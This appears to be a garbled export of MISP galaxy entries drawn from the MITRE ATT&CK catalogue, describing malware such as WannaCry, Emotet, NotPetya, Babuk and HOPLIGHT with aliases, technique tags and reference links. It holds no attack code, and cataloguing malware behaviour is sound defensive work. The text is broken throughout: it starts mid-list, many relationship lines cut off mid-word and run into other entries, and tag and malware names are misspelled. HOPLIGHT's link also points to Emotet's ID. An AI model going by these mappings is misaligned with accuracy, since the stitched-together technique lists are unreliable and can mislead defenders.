• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-
ECCENTRICBANDWAGON - S0593

[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool—with keylogging and screen capture functionality—used for information gathering on compromised systems. (Citation: CISA EB Aug 2020)

The tag is: misp-galaxy:mitre-malware="ECCENTRICBANDWAGON - S0593"

ECCENTRICBANDWAGON - S0593 is also known as:

- ECCENTRICBANDWAGON

View relationships graph

ECCENTRICBANDWAGON - S0593 has relationships with:

LightNeuron - S0395

[LightNeuron](https://attack.mitre.org/software/S0395) is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. [LightNeuron](https://attack.mitre.org/software/S0395) has been used by [Turla](https://attack.mitre.org/groups/G0010) to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://attack.mitre.org/software/S0395) exists.(Citation: ESET LightNeuron May 2019)

The tag is: `misp-galaxy:mitre-malware="LightNeuron - S0395"

LightNeuron - S0395 is also known as:

- LightNeuron

View relationships graph

LightNeuron - S0395 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"


Table 7090. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0395">https://attack.mitre.org/software/S0395</a></td>
</tr>
</tbody>
</table>
WannaCry - S0366

[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue. (Citation: LogRhythm WannaCry) (Citation: US-CERT WannaCry 2017) (Citation: Washington Post WannaCry 2017) (Citation: FireEye WannaCry 2017)

The tag is: `misp-galaxy:mitre-malware=WannaCry - S0366`

WannaCry - S0366 is also known as:

- WannaCry
- WanaCry
- WanaCrypt
- WanaCrypt0r
- WCry

View relationships graph

WannaCry - S0366 has relationships with:

- uses `misp-galaxy:mitre-attack-pattern=Windows Management Instrumentation - T1047` with `estimative-language:likelihood-probability=almost-certain`
- uses `misp-galaxy:mitre-attack-pattern=Service Stop - T1489` with `estimative-language:likelihood-probability=almost-certain`
- uses `misp-galaxy:mitre-attack-pattern=Windows Service - T1543.003` with `estimative-language:likelihood-probability=almost-certain`
- uses `misp-galaxy:mitre-attack-pattern=Peripheral Device Discovery - T1120` with `estimative-language:likelihood-probability=almost-certain`
- uses `misp-galaxy:mitre-attack-pattern=Windows File and Directory Permissions Modification - T1222.001` with `estimative-language:likelihood-probability=almost-certain`
- uses `misp-galaxy:mitre-attack-pattern=System Network Configuration Discovery - T1016` with `estimative-language:likelihood-probability=almost-certain`
- uses `misp-galaxy:mitre-attack-pattern=File and Directory Discovery - T1083` with `estimative-language:likelihood-probability=almost-certain`
- uses `misp-galaxy:mitre-attack-pattern=Exploitation of Remote Services - T1210` with `estimative-language:likelihood-probability=almost-certain`
- uses `misp-galaxy:mitre-attack-pattern=Multi-hop Proxy - T1090.003` with `estimative-language:likelihood-probability=almost-certain`
- uses `misp-galaxy:mitre-attack-pattern=Data Encrypted for Impact - T1486` with `estimative-language:likelihood-probability=almost-certain`
- uses `misp-galaxy:mitre-attack-pattern=Asymmetric Cryptography - T1573.002` with `estimative-
Table 7091. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0366">https://attack.mitre.org/software/S0366</a></td>
</tr>
<tr>
<td><a href="https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/">https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html">https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/wcry-ransomware-analysis">https://www.secureworks.com/research/wcry-ransomware-analysis</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-132A">https://www.us-cert.gov/ncas/alerts/TA17-132A</a></td>
</tr>
<tr>
<td><a href="https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4">https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4</a></td>
</tr>
</tbody>
</table>

**VaporRage - S0636**

[VaporRage](https://attack.mitre.org/software/S0636) is a shellcode downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021. (Citation: MSTIC Nobelium Toolset May 2021)

The tag is: *misg-galaxy:mitre-malware="VaporRage - S0636"*

VaporRage - S0636 is also known as:

- VaporRage

**View relationships graph**

VaporRage - S0636 has relationships with:

- uses: *misg-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

- uses: *misg-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
Table 7092. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0636">https://attack.mitre.org/software/S0636</a></td>
</tr>
</tbody>
</table>

**SysUpdate - S0663**

[SysUpdate](https://attack.mitre.org/software/S0663) is a backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)

The tag is: `misp-galaxy:mitre-malware="SysUpdate - S0663"`

SysUpdate - S0663 is also known as:

- SysUpdate
- HyperSSL
- Soldier
- FOCUSFJORD

View relationships graph

SysUpdate - S0663 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
DarkWatchman - S0673

[DarkWatchman](https://attack.mitre.org/software/S0673) is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021. (Citation: Prevailion DarkWatchman 2021)

The tag is: `misp-galaxy:mitre-malware="DarkWatchman - S0673"

DarkWatchman - S0673 is also known as:

- DarkWatchman

View relationships graph

DarkWatchman - S0673 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-

• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 7094. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0673">https://attack.mitre.org/software/S0673</a></td>
</tr>
<tr>
<td><a href="https://www.prevailion.com/darkwatchman-new-fileless-techniques/">https://www.prevailion.com/darkwatchman-new-fileless-techniques/</a></td>
</tr>
</tbody>
</table>

**Emotet - S0367**

[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)

The tag is: `misp-galaxy:mitre-malware="Emotet - S0367"`

**Emotet - S0367** is also known as:

- Emotet
- Geodo

View relationships graph

**Emotet - S0367** has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Wi-Fi Discovery - T1016.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 7095. Table References
HOPLIGHT - S0376

[HOPLIGHT](https://attack.mitre.org/software/S0367) is a backdoor Trojan that has reportedly been used by the North Korean government.(Citation: US-CERT HOPLIGHT Apr 2019)

The tag is: `misp-galaxy:mitre-malware="HOPLIGHT - S0376"`

HOPLIGHT - S0376 is also known as:

- HOPLIGHT

View relationships graph

HOPLIGHT - S0376 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="Device Driver Discovery - T1652"` with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 7096. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0376">https://attack.mitre.org/software/S0376</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/AR19-100A">https://www.us-cert.gov/ncas/analysis-reports/AR19-100A</a></td>
</tr>
</tbody>
</table>

NativeZone - S0637

NativeZone ([https://attack.mitre.org/software/S0637](https://attack.mitre.org/software/S0637)) is the name given collectively to disposable custom [Cobalt Strike](https://attack.mitre.org/software/S0154) loaders used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset
May 2021)(Citation: SentinelOne NobleBaron June 2021)

The tag is: `misp-galaxy:mitre-malware="NativeZone - S0637"`

NativeZone - S0637 is also known as:

- NativeZone

**View relationships graph**

NativeZone - S0637 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480"` with estimative-language:likelihood-probability="almost-certain"

**Table 7097. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0637">https://attack.mitre.org/software/S0637</a></td>
</tr>
</tbody>
</table>

**Babuk - S0638**

[Babuk](https://attack.mitre.org/software/S0638) is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of [Babuk](https://attack.mitre.org/software/S0638) employ a "Big Game Hunting" approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: CyberScoop Babuk February 2021)

The tag is: `misp-galaxy:mitre-malware="Babuk - S0638"`

Babuk - S0638 is also known as:

- Babuk
• Babyk
• Vasa Locker

View relationships graph

Babuk - S0638 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 7098. Table References

Links

https://attack.mitre.org/software/S0638
https://www.cyberscoop.com/babuk-ransomware-serco-attack/
NotPetya - S0368

[NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance. (Citation: Talos Nyetya June 2017) (Citation: US-CERT NotPetya 2017) (Citation: ESET Telebots June 2017) (Citation: US District Court Indictment GRU Unit 74455 October 2020)

The tag is: `misp-galaxy:mitre-malware="NotPetya - S0368"`

NotPetya - S0368 is also known as:

- NotPetya
- ExPetr
- Diskcoder.C
- GoldenEye
- Petrwrap
- Nyetya

**View relationships graph**

NotPetya - S0368 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001"` with
• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 7099. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0368">https://attack.mitre.org/software/S0368</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html">https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-181A">https://www.us-cert.gov/ncas/alerts/TA17-181A</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/">https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/</a></td>
</tr>
</tbody>
</table>

**Ursnif - S0386**

[Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001), and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)

The tag is: **misp-galaxy:mitre-malware="Ursnif - S0386"**

Ursnif - S0386 is also known as:

- Ursnif
- Gozi-ISFB
• PE_URSNIF
• Dreambot

View relationships graph

Urnif - S0386 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

